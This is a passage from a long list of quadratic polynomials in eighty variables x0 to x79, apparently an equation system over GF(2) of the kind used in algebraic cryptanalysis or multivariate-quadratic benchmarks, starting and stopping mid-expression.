+ x67*x73 + x67*x74 + x67*x76 + x67 + x68*x72 + x68*x73 + x68*x74 + x68*x76 + x68*x77 + x68*x79 + x69*x70 + x69*x73 + x69*x76 + x69*x78 + x69 + x70*x75 + x70*x76 + x70*x79 + x70 + x71*x72 + x71*x73 + x71*x78 + x71*x79 + x72*x75 + x72*x78 + x72 + x73*x77 + x73*x78 + x74*x77 + x74*x78 + x74*x79 + x74 + x75*x76 + x75*x79 + x76*x77 + x76*x79 + x77*x79 + x78 + 1, x0*x11 + x0*x12 + x0*x13 + x0*x14 + x0*x15 + x0*x17 + x0*x23 + x0*x24 + x0*x25 + x0*x26 + x0*x27 + x0*x28 + x0*x31 + x0*x32 + x0*x34 + x0*x35 + x0*x36 + x0*x39 + x0*x43 + x0*x44 + x0*x46 + x0*x49 + x0*x51 + x0*x52 + x0*x53 + x0*x54 + x0*x58 + x0*x60 + x0*x61 + x0*x63 + x0*x64 + x0*x66 + x0*x74 + x0*x76 + x1*x2 + x1*x4 + x1*x5 + x1*x7 + x1*x9 + x1*x11 + x1*x12 + x1*x14 + x1*x16 + x1*x17 + x1*x18 + x1*x20 + x1*x24 + x1*x25 + x1*x27 + x1*x29 + x1*x33 + x1*x34 + x1*x35 + x1*x40 + x1*x41 + x1*x42 + x1*x43 + x1*x44 + x1*x46 + x1*x47 + x1*x48 + x1*x50 + x1*x53 + x1*x54 + x1*x55 + x1*x58 + x1*x61 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x71 + x1*x74 + x1*x76 + x1*x78 + x2*x3 + x2*x5 + x2*x7 + x2*x8 + x2*x10 + x2*x14 + x2*x15 + x2*x16 + x2*x18 + x2*x22 + x2*x23 + x2*x24 + x2*x25 + x2*x26 + x2*x29 + x2*x31 + x2*x33 + x2*x35 + x2*x36 + x2*x38 + x2*x39 + x2*x41 + x2*x47 + x2*x49 + x2*x50 + x2*x53 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x63 + x2*x65 + x2*x66 + x2*x67 + x2*x70 + x2*x72 + x2*x74 + x2*x76 + x3*x4 + x3*x5 + x3*x8 + x3*x10 + x3*x12 + x3*x13 + x3*x16 + x3*x19 + x3*x20 + x3*x21 + x3*x22 + x3*x23 + x3*x24 + x3*x27 + x3*x28 + x3*x30 + x3*x31 + x3*x32 + x3*x36 + x3*x37 + x3*x38 + x3*x40 + x3*x43 + x3*x44 + x3*x47 + x3*x48 + x3*x50 + x3*x51 + x3*x53 + x3*x54 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x63 + x3*x65 + x3*x68 + x3*x69 + x3*x70 + x3*x78 + x3 + x4*x6 + x4*x7 + x4*x10 + x4*x11 + x4*x14 + x4*x15 + x4*x17 + x4*x18 + x4*x20 + x4*x22 + x4*x23 + x4*x30 + x4*x31 + x4*x34 + x4*x35 + x4*x42 + x4*x44 + x4*x46 + x4*x49 + x4*x52 + x4*x60 + x4*x61 + x4*x64 + x4*x66 + x4*x68 + x4*x69 + x4*x71 + x4*x75 + x4*x76 + x4*x78 + x4*x79 + x5*x7 + x5*x8 + x5*x10 + x5*x11 + x5*x12 + x5*x14 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x24 + x5*x30 + x5*x33 + x5*x36 + x5*x37 + x5*x38 + x5*x41 + x5*x43 + x5*x45 + x5*x46 + x5*x47 + x5*x48 + x5*x51 + x5*x52 + x5*x58 + x5*x60 + x5*x62 + x5*x63 + x5*x64 + x5*x65 + x5*x68 + x5*x70 + x5*x73 + x5*x75 + x5*x76 + x5 + x6*x10 + x6*x12 + x6*x13 + x6*x18 + x6*x19 + x6*x20 + x6*x21 + x6*x22 + x6*x23 + x6*x26 + x6*x27 + x6*x28 + x6*x29 + x6*x30 + x6*x34 + x6*x35 + x6*x38 + x6*x39 + x6*x42 + x6*x43 + x6*x45 + x6*x46 + x6*x47 + x6*x48 + x6*x49 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x58 + x6*x60 + x6*x61 + x6*x65 + x6*x66 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x75 + x6*x77 + x6 + x7*x10 + x7*x16 + x7*x17 + x7*x20 + x7*x21 + x7*x23 + x7*x24 + x7*x25 + x7*x26 + x7*x27 + x7*x28 + x7*x29 + x7*x32 + x7*x34 + x7*x38 + x7*x40 + x7*x41 + x7*x42 + x7*x44 + x7*x47 + x7*x49 + x7*x51 + x7*x53 + x7*x54 + x7*x60 + x7*x62 + x7*x66 + x7*x67 + x7*x69 + x7*x70 + x7*x71 + x7*x73 + x7*x74 + x7*x75 + x7*x76 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x10 + x8*x12 + x8*x17 + x8*x19 + x8*x20 + x8*x22 + x8*x25 + x8*x26 + x8*x28 + x8*x31 + x8*x34 + x8*x37 + x8*x39 + x8*x40 + x8*x49 + x8*x52 + x8*x55 + x8*x57 + x8*x58 + x8*x60 + x8*x61 + x8*x63 + x8*x64 + x8*x66 + x8*x67 + x8*x70 + x8*x71 + x8*x72 + x8*x73 + x8*x75 + x8*x79 + x8 + x9*x11 + x9*x12 + x9*x14 + x9*x17 + x9*x18 + x9*x19 + x9*x21 + x9*x23 + x9*x24 + x9*x25 + x9*x29 + x9*x30 + x9*x32 + x9*x33 + x9*x34 + x9*x37 + x9*x38 + x9*x43 + x9*x47 + x9*x49 + x9*x52 + x9*x53 + x9*x54 + x9*x61 + x9*x63 + x9*x64 + x9*x65 + x9*x68 + x9*x70 + x9*x71 + x9*x72 + x9*x75 + x9*x76 + x9*x77 + x9*x78 + x10*x12 + x10*x13 + x10*x14 + x10*x17 + x10*x19 + x10*x20 + x10*x22 + x10*x28 + x10*x30 + x10*x31 + x10*x32 + x10*x35 + x10*x39 + x10*x40 + x10*x43 + x10*x45 + x10*x48 + x10*x49 + x10*x50 + x10*x52 + x10*x53 + x10*x55 + x10*x56 + x10*x57 + x10*x62 + x10*x65 + x10*x66 + x10*x70 + x10*x72 + x10*x73 + x10*x79 + x11*x12 + x11*x15 + x11*x16 + x11*x17 + x11*x20 + x11*x21 + x11*x22 + x11*x24 + x11*x25 + x11*x29 + x11*x30 + x11*x31 + x11*x32 + x11*x34 + x11*x35 + x11*x36 + x11*x41 + x11*x43 + x11*x44 + x11*x45 + x11*x48 + x11*x49 + x11*x50 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x57 + x11*x60 + x11*x63 + x11*x66 + x11*x67 + x11*x70 + x11*x72 + x11 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x24 + x12*x26 + x12*x27 + x12*x30 + x12*x33 + x12*x34 + x12*x35 + x12*x36 + x12*x38 + x12*x43 + x12*x44 + x12*x46 + x12*x47 + x12*x50 + x12*x52 + x12*x53 + x12*x54 + x12*x56 + x12*x57 + x12*x61 + x12*x64 + x12*x65 + x12*x69 + x12*x70 + x12*x73 + x12*x74 + x12*x75 + x12*x76 + x12*x77 + x12*x78 + x13*x14 + x13*x16 + x13*x23 + x13*x24 + x13*x26 + x13*x27 + x13*x28 + x13*x30 + x13*x34 + x13*x35 + x13*x36 + x13*x37 + x13*x38 + x13*x42 + x13*x43 + x13*x46 + x13*x47 + x13*x48 + x13*x53 + x13*x54 + x13*x59 + x13*x60 + x13*x64 + x13*x65 + x13*x66 + x13*x69 + x13*x70 + x13*x72 + x13*x75 + x13*x77 + x13*x78 + x13 + x14*x18 + x14*x20 + x14*x21 + x14*x23 + x14*x24 + x14*x27 + x14*x29 + x14*x32 + x14*x33 + x14*x34 + x14*x35 + x14*x38 + x14*x39 + x14*x40 + x14*x41 + x14*x42 + x14*x43 + x14*x44 + x14*x45 + x14*x46 + x14*x47 + x14*x50 + x14*x51 + x14*x52 + x14*x53 + x14*x55 + x14*x58 + x14*x70 + x14*x71 + x14*x73 + x14*x77 + x15*x19 + x15*x20 + x15*x22 + x15*x24 + x15*x25 + x15*x28 + x15*x29 + x15*x32 + x15*x33 + x15*x34 + x15*x36 + x15*x37 + x15*x38 + x15*x41 + x15*x42 + x15*x48 + x15*x49 + x15*x55 + x15*x56 + x15*x58 + x15*x61 + x15*x63 + x15*x64 + x15*x65 + x15*x66 + x15*x68 + x15*x69 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x16*x17 + x16*x19 + x16*x22 + x16*x23 + x16*x24 + x16*x26 + x16*x27 + x16*x29 + x16*x33 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x39 + x16*x41 + x16*x42 + x16*x44 + x16*x45 + x16*x49 + x16*x50 + x16*x51 + x16*x52 + x16*x56 + x16*x58 + x16*x60 + x16*x62 + x16*x65 + x16*x66 + x16*x68 + x16*x69 + x16*x72 + x16*x73 + x16*x75 + x16*x79 + x17*x19 + x17*x23 + x17*x27 + x17*x28 + x17*x32 + x17*x33 + x17*x35 + x17*x36 + x17*x37 + x17*x39 + x17*x41 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x46 + x17*x47 + x17*x48 + x17*x49 + x17*x50 + x17*x51 + x17*x52 + x17*x53 + x17*x54 + x17*x57 + x17*x59 + x17*x63 + x17*x64 + x17*x65 + x17*x68 + x17*x69 + x17*x70 + x17*x72 + x17*x76 + x17*x77 + x18*x23 + x18*x24 + x18*x25 + x18*x26 + x18*x28 + x18*x29 + x18*x31 + x18*x34 + x18*x35 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x46 + x18*x49 + x18*x50 + x18*x52 + x18*x57 + x18*x58 + x18*x59 + x18*x61 + x18*x62 + x18*x63 + x18*x64 + x18*x65 + x18*x70 + x18*x75 + x18*x78 + x19*x20 + x19*x22 + x19*x23 + x19*x24 + x19*x29 + x19*x32 + x19*x38 + x19*x42 + x19*x46 + x19*x48 + x19*x49 + x19*x52 + x19*x53 + x19*x55 + x19*x56 + x19*x59 + x19*x62 + x19*x63 + x19*x64 + x19*x66 + x19*x67 + x19*x71 + x19*x72 + x19*x77 + x19*x78 + x19 + x20*x22 + x20*x23 + x20*x25 + x20*x26 + x20*x28 + x20*x30 + x20*x31 + x20*x33 + x20*x35 + x20*x36 + x20*x38 + x20*x41 + x20*x43 + x20*x44 + x20*x47 + x20*x49 + x20*x51 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x59 + x20*x61 + x20*x62 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x68 + x20*x70 + x20*x76 + x20*x79 + x20 + x21*x23 + x21*x24 + x21*x25 + x21*x26 + x21*x28 + x21*x29 + x21*x32 + x21*x36 + x21*x39 + x21*x40 + x21*x42 + x21*x43 + x21*x46 + x21*x47 + x21*x53 + x21*x54 + x21*x56 + x21*x57 + x21*x59 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x65 + x21*x68 + x21*x70 + x21*x73 + x21*x74 + x21*x75 + x21*x79 + x21 + x22*x23 + x22*x24 + x22*x29 + x22*x31 + x22*x35 + x22*x36 + x22*x37 + x22*x40 + x22*x42 + x22*x46 + x22*x47 + x22*x51 + x22*x55 + x22*x62 + x22*x64 + x22*x68 + x22*x70 + x22*x71 + x22*x72 + x22*x74 + x22*x76 + x22*x78 + x22 + x23*x25 + x23*x26 + x23*x27 + x23*x29 + x23*x31 + x23*x32 + x23*x34 + x23*x35 + x23*x36 + x23*x38 + x23*x40 + x23*x42 + x23*x43 + x23*x45 + x23*x46 + x23*x51 + x23*x52 + x23*x55 + x23*x57 + x23*x58 + x23*x68 + x23*x74 + x23*x79 + x24*x25 + x24*x26 + x24*x27 + x24*x28 + x24*x31 + x24*x33 + x24*x35 + x24*x40 + x24*x42 + x24*x43 + x24*x44 + x24*x45 + x24*x47 + x24*x50 + x24*x51 + x24*x52 + x24*x54 + x24*x55 + x24*x57 + x24*x64 + x24*x66 + x24*x67 + x24*x74 + x25*x26 + x25*x27 + x25*x32 + x25*x34 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x41 + x25*x43 + x25*x44 + x25*x45 + x25*x47 + x25*x48 + x25*x50 + x25*x51 + x25*x53 + x25*x54 + x25*x56 + x25*x58 + x25*x60 + x25*x63 + x25*x64 + x25*x70 + x25*x73 + x25*x76 + x25*x77 + x25*x78 + x25 + x26*x28 + x26*x30 + x26*x33 + x26*x34 + x26*x35 + x26*x39 + x26*x40 + x26*x41 + x26*x43 + x26*x44 + x26*x48 + x26*x49 + x26*x50 + x26*x52 + x26*x53 + x26*x54 + x26*x56 + x26*x57 + x26*x58 + x26*x59 + x26*x60 + x26*x67 + x26*x69 + x26*x70 + x26*x71 + x26*x72 + x26*x74 + x26*x76 + x26*x78 + x26*x79 + x27*x28 + x27*x30 + x27*x31 + x27*x32 + x27*x35 + x27*x37 + x27*x40 + x27*x43 + x27*x44 + x27*x46 + x27*x47 + x27*x48 + x27*x49 + x27*x50 + x27*x51 + x27*x53 + x27*x54 + x27*x56 + x27*x57 + x27*x59 + x27*x61 + x27*x62 + x27*x64 + x27*x69 + x27*x71 + x27*x73 + x27*x74 + x27*x77 + x27*x78 + x27*x79 + x28*x29 + x28*x32 + x28*x33 + x28*x35 + x28*x36 + x28*x39 + x28*x42 + x28*x43 + x28*x47 + x28*x49 + x28*x52 + x28*x54 + x28*x55 + x28*x57 + x28*x58 + x28*x59 + x28*x62 + x28*x63 + x28*x68 + x28*x69 + x28*x71 + x28*x72 + x28*x73 + x28*x74 + x28*x75 + x28*x78 + x28*x79 + x28 + x29*x30 + x29*x31 + x29*x32 + x29*x36 + x29*x37 + x29*x38 + x29*x41 + x29*x42 + x29*x45 + x29*x46 + x29*x48 + x29*x52 + x29*x54 + x29*x55 + x29*x60 + x29*x61 + x29*x63 + x29*x64 + x29*x65 + x29*x67 + x29*x68 + x29*x69 + x29*x71 + x29*x72 + x29*x74 + x29*x77 + x29*x79 + x30*x31 + x30*x33 + x30*x34 + x30*x35 + x30*x38 + x30*x43 + x30*x45 + x30*x49 + x30*x50 + x30*x51 + x30*x56 + x30*x57 + x30*x59 + x30*x60 + x30*x63 + x30*x65 + x30*x67 + x30*x68 + x30*x69 + x30*x70 + x30*x71 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x30*x78 + x30*x79 + x31*x33 + x31*x35 + x31*x36 + x31*x37 + x31*x38 + x31*x39 + x31*x40 + x31*x41 + x31*x42 + x31*x43 + x31*x46 + x31*x47 + x31*x48 + x31*x50 + x31*x52 + x31*x53 + x31*x54 + x31*x56 + x31*x57 + x31*x60 + x31*x63 + x31*x67 + x31*x68 + x31*x71 + x31*x72 + x32*x35 + x32*x37 + x32*x45 + x32*x46 + x32*x50 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x56 + x32*x59 + x32*x61 + x32*x63 + x32*x64 + x32*x67 + x32*x68 + x32*x70 + x32*x72 + x32*x73 + x32*x77 + x32*x79 + x33*x34 + x33*x38 + x33*x39 + x33*x42 + x33*x48 + x33*x49 + x33*x51 + x33*x56 + x33*x57 + x33*x58 + x33*x59 + x33*x60 + x33*x62 + x33*x64 + x33*x65 + x33*x66 + x33*x69 + x33*x70 + x33*x75 + x33*x77 + x33*x79 + x33 + x34*x35 + x34*x36 + x34*x38 + x34*x39 + x34*x41 + x34*x45 + x34*x47 + x34*x49 + x34*x52 + x34*x53 + x34*x55 + x34*x56 + x34*x61 + x34*x64 + x34*x66 + x34*x67 + x34*x68 + x34*x69 + x34*x70 + x34*x71 + x34*x72 + x34*x73 + x34*x74 + x34*x75 + x34*x76 + x34*x77 + x34*x78 + x34*x79 + x34 + x35*x36 + x35*x40 + x35*x41 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x48 + x35*x50 + x35*x56 + x35*x61 + x35*x63 + x35*x66 + x35*x67 + x35*x68 + x35*x70 + x35*x73 + x35*x75 + x35 + x36*x37 + x36*x38 + x36*x40 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x46 + x36*x50 + x36*x51 + x36*x53 + x36*x55 + x36*x56 + x36*x61 + x36*x62 + x36*x63 + x36*x64 + x36*x68 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x74 + x36*x78 + x36*x79 + x37*x38 + x37*x44 + x37*x46 + x37*x51 + x37*x54 + x37*x55 + x37*x56 + x37*x57 + x37*x59 + x37*x68 + x37*x69 + x37*x70 + x37*x72 + x37*x73 + x37*x78 + x37 + x38*x43 + x38*x45 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x58 + x38*x59 + x38*x60 + x38*x67 + x38*x69 + x38*x70 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x76 + x38*x77 + x38 + x39*x40 + x39*x42 + x39*x44 + x39*x45 + x39*x46 + x39*x48 + x39*x49 + x39*x55 + x39*x60 + x39*x61 + x39*x62 + x39*x72 + x39*x73 + x39*x76 + x39*x78 + x40*x41 + x40*x42 + x40*x43 + x40*x44 + x40*x45 + x40*x46 + x40*x47 + x40*x48 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x55 + x40*x56 + x40*x58 + x40*x59 + x40*x60 + x40*x61 + x40*x66 + x40*x68 + x40*x70 + x40*x77 + x40*x78 + x40*x79 + x41*x42 + x41*x45 + x41*x48 + x41*x50 + x41*x52 + x41*x57 + x41*x60 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x68 + x41*x71 + x41*x72 + x41*x76 + x41*x77 + x41*x78 + x41*x79 + x41 + x42*x46 + x42*x48 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x62 + x42*x64 + x42*x66 + x42*x68 + x42*x72 + x42*x73 + x42*x75 + x42*x76 + x42*x77 + x42*x79 + x42 + x43*x44 + x43*x45 + x43*x46 + x43*x47 + x43*x48 + x43*x50 + x43*x51 + x43*x54 + x43*x56 + x43*x57 + x43*x59 + x43*x61 + x43*x66 + x43*x68 + x43*x70 + x43*x71 + x43*x75 + x43*x77 + x43*x78 + x44*x50 + x44*x51 + x44*x53 + x44*x54 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x60 + x44*x62 + x44*x65 + x44*x67 + x44*x68 + x44*x70 + x44*x71 + x44*x73 + x44*x74 + x44*x75 + x44*x76 + x44*x77 + x44*x78 + x45*x46 + x45*x48 + x45*x51 + x45*x53 + x45*x54 + x45*x55 + x45*x57 + x45*x59 + x45*x61 + x45*x65 + x45*x68 + x45*x69 + x45*x70 + x45*x73 + x45*x74 + x45*x75 + x45*x77 + x45 + x46*x47 + x46*x48 + x46*x51 + x46*x53 + x46*x54 + x46*x55 + x46*x56 + x46*x59 + x46*x65 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x74 + x46*x75 + x46*x76 + x46*x79 + x47*x49 + x47*x50 + x47*x53 + x47*x56 + x47*x57 + x47*x59 + x47*x61 + x47*x62 + x47*x64 + x47*x67 + x47*x70 + x47*x71 + x47*x72 + x47*x77 + x47 + x48*x50 + x48*x52 + x48*x53 + x48*x54 + x48*x55 + x48*x58 + x48*x59 + x48*x60 + x48*x62 + x48*x64 + x48*x67 + x48*x69 + x48*x70 + x48*x71 + x48*x75 + x48*x77 + x48*x78 + x48*x79 + x49*x51 + x49*x52 + x49*x54 + x49*x59 + x49*x61 + x49*x62 + x49*x64 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x69 + x49*x71 + x49*x72 + x49*x73 + x49*x76 + x49*x77 + x49*x79 + x50*x53 + x50*x55 + x50*x57 + x50*x60 + x50*x63 + x50*x68 + x50*x69 + x50*x71 + x50*x73 + x50*x76 + x50*x79 + x51*x52 + x51*x57 + x51*x58 + x51*x61 + x51*x63 + x51*x67 + x51*x68 + x51*x69 + x51*x72 + x51*x73 + x51*x74 + x51*x79 + x52*x53 + x52*x54 + x52*x55 + x52*x56 + x52*x57 + x52*x59 + x52*x60 + x52*x63 + x52*x64 + x52*x67 + x52*x69 + x52*x70 + x52*x71 + x52*x72 + x52*x75 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x57 + x53*x59 + x53*x62 + x53*x63 + x53*x65 + x53*x71 + x53*x75 + x53*x76 + x53 + x54*x61 + x54*x62 + x54*x65 + x54*x71 + x54*x72 + x54*x73 + x54*x75 + x54*x76 + x54*x78 + x54*x79 + x55*x57 + x55*x58 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x73 + x55*x74 + x55*x75 + x55*x78 + x55 + x56*x60 + x56*x64 + x56*x65 + x56*x66 + x56*x69 + x56*x71 + x56*x72 + x56*x74 + x56*x75 + x56*x76 + x56*x78 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x62 + x57*x64 + x57*x69 + x57*x71 + x57*x72 + x57*x73 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x57*x79 + x58*x61 + x58*x62 + x58*x64 + x58*x66 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x76 + x58*x78 + x58*x79 + x58 + x59*x62 + x59*x63 + x59*x66 + x59*x67 + x59*x68 + x59*x72 + x59*x73 + x59*x77 + x59*x78 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x66 + x60*x67 + x60*x70 + x60*x77 + x60*x79 + x61*x67 + x61*x68 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x76 + x61*x78 + x61 + x62*x63 + x62*x65 + x62*x66 + x62*x68 + x62*x69 + x62*x70 + x62*x72 + x62*x74 + x62*x75 + x62*x77 + x62*x78 + x62*x79 + x62 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x71 + x63*x72 + x63*x75 + x63*x77 + x63*x79 + x64*x67 + x64*x68 + x64*x69 + x64*x71 + x64*x74 + x64*x75 + x64*x76 + x64*x78 + x64*x79 + x64 + x65*x72 + x65*x73 + x65*x74 + x65*x75 + x65*x76 + x65*x77 + x65*x79 + x66*x69 + x66*x71 + x66*x73 + x66*x75 + x66*x76 + x66*x77 + x66*x78 + x67*x69 + x67*x76 + x68*x73 + x68*x76 + x68*x77 + x68*x78 + x69*x70 + x69*x71 + x69*x75 + x70*x72 + x70*x73 + x70*x74 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x70 + x71*x72 + x71*x75 + x71*x77 + x71 + x72*x73 + x72*x74 + x72*x75 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x75 + x74*x75 + x74*x77 + x74*x79 + x75*x76 + x75*x77 + x76*x78 + x77*x78 + x78 + 1, x0*x1 + x0*x3 + x0*x9 + x0*x12 + x0*x13 + x0*x15 + x0*x16 + x0*x18 + x0*x19 + x0*x22 + x0*x23 + x0*x26 + x0*x27 + x0*x29 + x0*x32 + x0*x34 + x0*x35 + x0*x36 + x0*x37 + x0*x38 + x0*x42 + x0*x43 + x0*x44 + x0*x50 + x0*x51 + x0*x52 + x0*x53 + x0*x55 + x0*x56 + x0*x59 + x0*x60 + x0*x64 + x0*x66 + x0*x69 + x0*x73 + x0*x74 + x0*x75 + x0*x76 + x0*x78 + x1*x2 + x1*x4 + x1*x7 + x1*x9 + x1*x17 + x1*x18 + x1*x19 + x1*x20 + x1*x21 + x1*x22 + x1*x24 + x1*x27 + x1*x30 + x1*x31 + x1*x35 + x1*x39 + x1*x44 + x1*x48 + x1*x53 + x1*x56 + x1*x59 + x1*x60 + x1*x61 + x1*x63 + x1*x68 + x1*x69 + x1*x70 + x1*x71 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x1*x79 + x1 + x2*x4 + x2*x6 + x2*x8 + x2*x11 + x2*x13 + x2*x14 + x2*x15 + x2*x18 + x2*x21 + x2*x22 + x2*x27 + x2*x29 + x2*x30 + x2*x31 + x2*x34 + x2*x35 + x2*x38 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x45 + x2*x48 + x2*x49 + x2*x51 + x2*x52 + x2*x53 + x2*x54 + x2*x56 + x2*x58 + x2*x59 + x2*x62 + x2*x68 + x2*x71 + x2*x72 + x2*x75 + x2*x76 + x2 + x3*x5 + x3*x7 + x3*x8 + x3*x9 + x3*x10 + x3*x11 + x3*x15 + x3*x17 + x3*x20 + x3*x25 + x3*x26 + x3*x29 + x3*x33 + x3*x35 + x3*x37 + x3*x38 + x3*x41 + x3*x42 + x3*x43 + x3*x45 + x3*x49 + x3*x51 + x3*x53 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x64 + x3*x67 + x3*x69 + x3*x70 + x3*x71 + x3*x74 + x3*x77 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x8 + x4*x9 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x17 + x4*x18 + x4*x19 + x4*x21 + x4*x22 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x41 + x4*x42 + x4*x43 + x4*x46 + x4*x56 + x4*x58 + x4*x61 + x4*x62 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x69 + x4*x72 + x4*x73 + x4*x78 + x4*x79 + x4 + x5*x9 + x5*x10 + x5*x11 + x5*x14 + x5*x16 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x24 + x5*x25 + x5*x26 + x5*x29 + x5*x32 + x5*x34 + x5*x35 + x5*x36 + x5*x37 + x5*x38 + x5*x39 + x5*x41 + x5*x42 + x5*x43 + x5*x44 + x5*x45 + x5*x46 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x53 + x5*x55 + x5*x56 + x5*x57 + x5*x58 + x5*x59 + x5*x60 + x5*x63 + x5*x64 + x5*x68 + x5*x69 + x5*x70 + x5*x71 + x5*x72 + x5*x74 + x5*x75 + x5*x77 + x6*x8 + x6*x9 + x6*x10 + x6*x12 + x6*x14 + x6*x17 + x6*x18 + x6*x20 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x26 + x6*x27 + x6*x28 + x6*x30 + x6*x33 + x6*x34 + x6*x35 + x6*x38 + x6*x39 + x6*x41 + x6*x44 + x6*x45 + x6*x46 + x6*x48 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x57 + x6*x60 + x6*x62 + x6*x66 + x6*x68 + x6*x69 + x6*x73 + x6*x74 + x6*x77 + x6*x78 + x6*x79 + x7*x10 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x19 + x7*x20 + x7*x21 + x7*x26 + x7*x27 + x7*x28 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x37 + x7*x38 + x7*x40 + x7*x41 + x7*x42 + x7*x44 + x7*x50 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x56 + x7*x57 + x7*x60 + x7*x61 + x7*x62 + x7*x63 + x7*x64 + x7*x65 + x7*x68 + x7*x76 + x7*x78 + x8*x9 + x8*x10 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x25 + x8*x28 + x8*x31 + x8*x32 + x8*x35 + x8*x36 + x8*x38 + x8*x41 + x8*x42 + x8*x45 + x8*x46 + x8*x48 + x8*x49 + x8*x51 + x8*x52 + x8*x54 + x8*x56 + x8*x58 + x8*x59 + x8*x61 + x8*x63 + x8*x64 + x8*x65 + x8*x67 + x8*x69 + x8*x70 + x8*x72 + x8*x73 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x9*x12 + x9*x14 + x9*x16 + x9*x18 + x9*x21 + x9*x22 + x9*x25 + x9*x32 + x9*x34 + x9*x37 + x9*x39 + x9*x40 + x9*x46 + x9*x50 + x9*x54 + x9*x55 + x9*x57 + x9*x58 + x9*x59 + x9*x60 + x9*x61 + x9*x62 + x9*x65 + x9*x66 + x9*x68 + x9*x69 + x9*x71 + x9*x72 + x9*x75 + x9*x76 + x9*x77 + x9*x78 + x10*x11 + x10*x12 + x10*x13 + x10*x14 + x10*x15 + x10*x16 + x10*x17 + x10*x19 + x10*x23 + x10*x25 + x10*x26 + x10*x27 + x10*x29 + x10*x30 + x10*x32 + x10*x33 + x10*x35 + x10*x36 + x10*x37 + x10*x38 + x10*x39 + x10*x42 + x10*x44 + x10*x46 + x10*x47 + x10*x48 + x10*x50 + x10*x56 + x10*x57 + x10*x58 + x10*x61 + x10*x62 + x10*x64 + x10*x67 + x10*x68 + x10*x69 + x10*x71 + x10*x72 + x10*x73 + x10*x75 + x10*x77 + x11*x12 + x11*x15 + x11*x20 + x11*x21 + x11*x22 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x29 + x11*x32 + x11*x34 + x11*x36 + x11*x37 + x11*x38 + x11*x41 + x11*x42 + x11*x44 + x11*x45 + x11*x46 + x11*x47 + x11*x48 + x11*x51 + x11*x52 + x11*x54 + x11*x56 + x11*x57 + x11*x62 + x11*x63 + x11*x65 + x11*x66 + x11*x68 + x11*x70 + x11*x73 + x11*x74 + x11*x76 + x11*x77 + x11*x78 + x12*x13 + x12*x14 + x12*x15 + x12*x16 + x12*x20 + x12*x23 + x12*x24 + x12*x25 + x12*x27 + x12*x29 + x12*x32 + x12*x34 + x12*x35 + x12*x36 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x43 + x12*x44 + x12*x45 + x12*x48 + x12*x51 + x12*x52 + x12*x53 + x12*x54 + x12*x56 + x12*x57 + x12*x58 + x12*x59 + x12*x62 + x12*x65 + x12*x66 + x12*x68 + x12*x69 + x12*x70 